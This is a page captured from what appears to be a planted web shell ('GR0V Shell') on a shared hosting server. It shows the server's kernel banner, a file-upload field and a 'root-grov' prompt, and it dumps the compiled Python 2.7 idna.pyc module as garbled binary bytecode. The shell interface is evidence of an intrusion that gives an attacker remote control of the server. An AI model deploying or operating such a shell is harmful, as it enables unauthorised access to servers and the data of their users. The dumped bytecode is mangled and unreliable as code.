? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /lib64/python2.7/encodings/
File Upload :
Current File : //lib64/python2.7/encodings/idna.pyc

ó
{fc@sddlZddlZddlZddlmZejdƒZdZeedƒZ	d„Z
d„Zd„Zd	ej
fd
„ƒYZ
dejfd„ƒYZd
ejfd„ƒYZde
ejfd„ƒYZde
ejfd„ƒYZd„ZdS(iÿÿÿÿN(t	ucd_3_2_0u[.。.。]sxn--tasciicCs}g}x9|D]1}tj|ƒr(q
n|jtj|ƒƒq
Wdj|ƒ}tjd|ƒ}x¨|D] }tj|ƒs÷tj|ƒs÷tj	|ƒs÷tj
|ƒs÷tj|ƒs÷tj|ƒs÷tj
|ƒs÷tj|ƒs÷tj|ƒrjtd|ƒ‚qjqjWttj|ƒ}t|ƒrytd„|DƒƒrQtdƒ‚n|dsg|drytdƒ‚qyn|S(	NutNFKCsInvalid character %rcss|]}tj|ƒVqdS(N(t
stringpreptin_table_d2(t.0tx((s&/usr/lib64/python2.7/encodings/idna.pys	<genexpr>1ssViolation of BIDI requirement 2iiÿÿÿÿsViolation of BIDI requirement 3(Rtin_table_b1tappendtmap_table_b2tjointunicodedatat	normalizetin_table_c12tin_table_c22tin_table_c3tin_table_c4tin_table_c5tin_table_c6tin_table_c7tin_table_c8tin_table_c9tUnicodeErrortmaptin_table_d1tany(tlabeltnewlabeltctRandAL((s&/usr/lib64/python2.7/encodings/idna.pytnamepreps2

cCs+y|jdƒ}Wntk
r&n3Xdt|ƒkoDdknrM|Stdƒ‚t|ƒ}y|jdƒ}Wntk
r‹n3Xdt|ƒko©dknr²|Stdƒ‚|jtƒrÜtdƒ‚n|jdƒ}t|}dt|ƒkodknr|Stdƒ‚dS(NRii@slabel empty or too longsLabel starts with ACE prefixtpunycode(tencodeRtlenRt
startswithtuace_prefixt
ace_prefix(R((s&/usr/lib64/python2.7/encodings/idna.pytToASCII<s,
"
"
"cCs&t|ƒdkr!tdƒ‚nt|tƒr9t}n3y|jdƒ}t}Wntk
rkt}nX|s´t|ƒ}y|jdƒ}Wq´tk
r°tdƒ‚q´Xn|jt	ƒsÐt
|dƒS|tt	ƒ}|jdƒ}t|ƒ}|j
ƒ|kr"td||ƒ‚n|S(Nislabel way too longRsInvalid character in IDN labelRsIDNA does not round-trip(R!Rt
isinstancetstrtTrueR tFalseRR"R$tunicodetdecodeR%tlower(Rt
pure_asciitlabel1tresulttlabel2((s&/usr/lib64/python2.7/encodings/idna.pyt	ToUnicodegs.		




tCodeccBs eZdd„Zdd„ZRS(tstrictcCs±|dkrtd|ƒ‚n|s)dSg}tj|ƒ}|rjt|dƒdkrjd}|d=nd}x!|D]}|jt|ƒƒqwWdj|ƒ|t|ƒfS(NR3sunsupported error handling tiiÿÿÿÿt.(R4i(RtdotstsplitR!RR%R
(tselftinputterrorsR/tlabelsttrailing_dotR((s&/usr/lib64/python2.7/encodings/idna.pyR ›s

cCsë|dkrtd|ƒ‚n|s)d	St|tƒrJtj|ƒ}n(t|ƒ}t|dƒ|jdƒ}|ržt|dƒdkržd}|d=nd}g}x!|D]}|jt|ƒƒq±Wdj	|ƒ|t|ƒfS(
NR3sUnsupported error handling uiRR5iÿÿÿÿu.(ui(
RR&R*R6R7R'R!RR1R
(R8R9R:R;R<R/R((s&/usr/lib64/python2.7/encodings/idna.pyR+°s"


(t__name__t
__module__R R+(((s&/usr/lib64/python2.7/encodings/idna.pyR2šstIncrementalEncodercBseZd„ZRS(c	Cs|dkrtd|ƒ‚n|s)d	Stj|ƒ}d}|r€|ds^d}|d=q€|s€|d=|r}d}q}q€ng}d}xD|D]<}|jt|ƒƒ|r¿|d7}n|t|ƒ7}q“Wdj|ƒ|}|t|ƒ7}||fS(
NR3sunsupported error handling R4iuiÿÿÿÿR5i(R4i(RR6R7RR%R!R
(	R8R9R:tfinalR;R<R/tsizeR((s&/usr/lib64/python2.7/encodings/idna.pyt_buffer_encodeÎs0



(R=R>RB(((s&/usr/lib64/python2.7/encodings/idna.pyR?ÍstIncrementalDecodercBseZd„ZRS(c	Cs:|dkrtd|ƒ‚n|s)d
St|tƒrJtj|ƒ}n(t|ƒ}t|dƒ|jdƒ}d}|rº|ds˜d}|d=qº|sº|d=|r·d}q·qºng}d}xD|D]<}|jt|ƒƒ|rù|d	7}n|t|ƒ7}qÍWdj	|ƒ|}|t|ƒ7}||fS(NR3sUnsupported error handling uiRR5iÿÿÿÿu.i(ui(
RR&R*R6R7R'RR1R!R
(	R8R9R:R@R;R<R/RAR((s&/usr/lib64/python2.7/encodings/idna.pyt_buffer_decodeðs8




(R=R>RD(((s&/usr/lib64/python2.7/encodings/idna.pyRCïstStreamWritercBseZRS((R=R>(((s&/usr/lib64/python2.7/encodings/idna.pyREstStreamReadercBseZRS((R=R>(((s&/usr/lib64/python2.7/encodings/idna.pyRFscCs@tjdddtƒjdtƒjdtdtdtdtƒS(	NtnametidnaR R+tincrementalencodertincrementaldecodertstreamwritertstreamreader(	tcodecst	CodecInfoR2R R+R?RCRERF(((s&/usr/lib64/python2.7/encodings/idna.pytgetregentrys	(RtreRMRRtcompileR6R$R*R#RR%R1R2tBufferedIncrementalEncoderR?tBufferedIncrementalDecoderRCRERFRO(((s&/usr/lib64/python2.7/encodings/idna.pyt<module>s$	.	+	33"(

T1KUS90T
  root-grov@89.117.188.241:~$